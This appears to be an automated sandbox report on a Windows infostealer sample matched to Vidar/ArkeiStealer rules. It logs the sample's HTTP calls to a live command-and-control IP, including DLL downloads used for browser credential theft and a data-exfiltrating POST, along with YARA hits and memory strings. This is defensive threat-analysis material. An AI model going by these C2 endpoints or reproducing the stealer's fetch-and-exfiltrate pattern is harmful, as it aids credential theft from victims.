00 20 01 00 08 04 00 00 00 00 00 00 00 00 00 00 00 08 01 00 48 3f 00 00 00 30 01 00 94 0a 00 00 b0 1f 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 1f 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 e9 00 00 00 10 00 00 00 ea 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 44 06 00 00 00 00 01 00 00 02 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 b8 05 00 00 00 10 01 00 00 06 00 00 00 f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 08 04 00 00 00 20 01 00 00 06 00 00 00 f6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 0a 00 00 00 30 01 00 00 0c 00 00 00 fc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /AP.php HTTP/1.1Host: 104.194.151.11Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlite3.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=karl7rrva1q372h3ph2tq12ok3
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=karl7rrva1q372h3ph2tq12ok3
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=karl7rrva1q372h3ph2tq12ok3
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=karl7rrva1q372h3ph2tq12ok3
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=karl7rrva1q372h3ph2tq12ok3
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=karl7rrva1q372h3ph2tq12ok3
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=karl7rrva1q372h3ph2tq12ok3
Source: global traffic	HTTP traffic detected: POST /AP.php HTTP/1.1Content-Type: multipart/form-data; boundary=----XT2DB16FUSJM7QI5Host: 104.194.151.11Content-Length: 84947Connection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=karl7rrva1q372h3ph2tq12ok3

Source: Joe Sandbox View

ASN Name: PONYNETUS PONYNETUS

Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe

Code function: 0_2_004052D0 InternetOpenA,StrCmpCA,InternetSetOptionA,InternetConnectA,InternetConnectA,HttpOpenRequestA,HttpOpenRequestA,HttpSendRequestA,HttpQueryInfoA,StrCmpCA,Sleep,InternetReadFile,lstrcat,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_004052D0

Source: global traffic	HTTP traffic detected: GET /AP.php HTTP/1.1Host: 104.194.151.11Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlite3.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=karl7rrva1q372h3ph2tq12ok3
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=karl7rrva1q372h3ph2tq12ok3
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=karl7rrva1q372h3ph2tq12ok3
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=karl7rrva1q372h3ph2tq12ok3
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=karl7rrva1q372h3ph2tq12ok3
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=karl7rrva1q372h3ph2tq12ok3
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=karl7rrva1q372h3ph2tq12ok3

Source: unknown

HTTP traffic detected: POST /AP.php HTTP/1.1Content-Type: multipart/form-data; boundary=----XT2DB16FUSJM7QI5Host: 104.194.151.11Content-Length: 84947Connection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=karl7rrva1q372h3ph2tq12ok3

Source: IrAr85Qv7X.exe, 00000000.00000003.1665516930.000000000077F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/
Source: IrAr85Qv7X.exe, 00000000.00000003.1665516930.000000000077F000.00000004.00000020.00020000.00000000.sdmp, IrAr85Qv7X.exe, 00000000.00000002.1720693274.0000000000779000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/AP.php
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.0000000000779000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/freebl3.dll
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.0000000000779000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/mozglue.dll
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.0000000000779000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/msvcp140.dll
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.0000000000779000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/msvcp140.dll?x
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.0000000000779000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/nss3.dll
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.0000000000779000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/softokn3.dll
Source: IrAr85Qv7X.exe, 00000000.00000003.1665516930.000000000077F000.00000004.00000020.00020000.00000000.sdmp, IrAr85Qv7X.exe, 00000000.00000002.1720693274.0000000000779000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/sqlite3.dll
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.0000000000779000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/sqlite3.dll)x
Source: IrAr85Qv7X.exe, 00000000.00000003.1665516930.000000000077F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/sqlite3.dll3y
Source: IrAr85Qv7X.exe, 00000000.00000003.1665516930.000000000077F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/sqlite3.dll9y
Source: IrAr85Qv7X.exe, 00000000.00000003.1665516930.000000000077F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/sqlite3.dlliy
Source: IrAr85Qv7X.exe, 00000000.00000003.1665516930.000000000077F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/sqlite3.dlll
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.0000000000796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/vcruntime140.dll
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.mozilla.com0
Source: IrAr85Qv7X.exe, 00000000.00000003.1678512613.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, IW479RIW.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: IrAr85Qv7X.exe, 00000000.00000003.1678512613.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, IW479RIW.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: IrAr85Qv7X.exe, 00000000.00000003.1678512613.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, IW479RIW.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: IrAr85Qv7X.exe, 00000000.00000003.1678512613.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, IW479RIW.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: IrAr85Qv7X.exe, 00000000.00000003.1678512613.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, IW479RIW.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: IrAr85Qv7X.exe, 00000000.00000003.1678512613.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, IW479RIW.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: IrAr85Qv7X.exe, 00000000.00000003.1678512613.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, IW479RIW.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: IrAr85Qv7X.exe, 00000000.00000003.1712635726.00000000093FF000.00000004.00000020.00020000.00000000.sdmp, IrAr85Qv7X.exe, 00000000.00000002.1724489793.000000000A127000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: IrAr85Qv7X.exe, 00000000.00000002.1724489793.000000000A127000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: IrAr85Qv7X.exe, 00000000.00000003.1712635726.00000000093FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: IrAr85Qv7X.exe, 00000000.00000003.1677850523.00000000007C9000.00000004.00000020.00020000.00000000.sdmp, IrAr85Qv7X.exe, 00000000.00000002.1724234947.00000000096E6000.00000004.00000020.00020000.00000000.sdmp, V3E3OP8Q.0.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: V3E3OP8Q.0.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: IrAr85Qv7X.exe, 00000000.00000003.1677850523.00000000007C9000.00000004.00000020.00020000.00000000.sdmp, IrAr85Qv7X.exe, 00000000.00000002.1724234947.00000000096E6000.00000004.00000020.00020000.00000000.sdmp, V3E3OP8Q.0.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: V3E3OP8Q.0.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: IrAr85Qv7X.exe, 00000000.00000003.1678512613.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, IW479RIW.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: IrAr85Qv7X.exe, 00000000.00000003.1678512613.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, IW479RIW.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: IrAr85Qv7X.exe, 00000000.00000002.1724489793.000000000A127000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: IrAr85Qv7X.exe, 00000000.00000003.1712635726.00000000093FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: IrAr85Qv7X.exe, 00000000.00000002.1724489793.000000000A127000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: IrAr85Qv7X.exe, 00000000.00000003.1712635726.00000000093FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: IrAr85Qv7X.exe, 00000000.00000002.1724489793.000000000A127000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: IrAr85Qv7X.exe, 00000000.00000003.1712635726.00000000093FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: IrAr85Qv7X.exe, 00000000.00000003.1712635726.00000000093FF000.00000004.00000020.00020000.00000000.sdmp, IrAr85Qv7X.exe, 00000000.00000002.1724489793.000000000A127000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: IrAr85Qv7X.exe, 00000000.00000002.1724489793.000000000A127000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: IrAr85Qv7X.exe, 00000000.00000003.1712635726.00000000093FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a Author: unknown
Source: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a Author: unknown
Source: 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: Process Memory Space: IrAr85Qv7X.exe PID: 4944, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: decrypted.memstr, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown

PE file has a writeable .text section

Source: IrAr85Qv7X.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Code function: 0_2_00410600	0_2_00410600
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Code function: 0_2_00410C00	0_2_00410C00
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Code function: 0_2_00410A10	0_2_00410A10
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Code function: 0_2_00411490	0_2_00411490

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll A770ECBA3B08BBABD0A567FC978E50615F8B346709F8EB3CFACF3FAAB24090BA

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe

Code function: String function: 00404A00 appears 470 times

Source: sqlite3.dll.0.dr	Static PE information: Number of sections : 19 > 10
Source: sqlite3[1].dll.0.dr	Static PE information: Number of sections : 19 > 10

Source: IrAr85Qv7X.exe, 00000000.00000002.1724159662.00000000095FA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs IrAr85Qv7X.exe

Source: IrAr85Qv7X.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a reference_sample = 708d9fb40f49192d4bf6eff62e0140c920a7eca01b9f78aeaf558bef0115dbe2, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.ArkeiStealer, fingerprint = f1d701463b0001de8996b30d2e36ddecb93fe4ca2a1a26fc4fcdaeb0aa3a3d6d, id = 84c7086a-abc3-4b97-b325-46a078b90a95, last_modified = 2022-04-12
Source: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a reference_sample = 708d9fb40f49192d4bf6eff62e0140c920a7eca01b9f78aeaf558bef0115dbe2, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.ArkeiStealer, fingerprint = f1d701463b0001de8996b30d2e36ddecb93fe4ca2a1a26fc4fcdaeb0aa3a3d6d, id = 84c7086a-abc3-4b97-b325-46a078b90a95, last_modified = 2022-04-12
Source: 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: Process Memory Space: IrAr85Qv7X.exe PID: 4944, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: decrypted.memstr, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/24@0/1

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sqlite3[1].dll

Jump to behavior

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6968:120:WilError_03

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: sqlite3[1].dll.0.dr, nss3.dll.0.dr, nss3[1].dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);docid INTEGER PRIMARY KEY%z, 'c%d%q'%z, langidCREATE TABLE %Q.'%q_content'(%s)CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);m
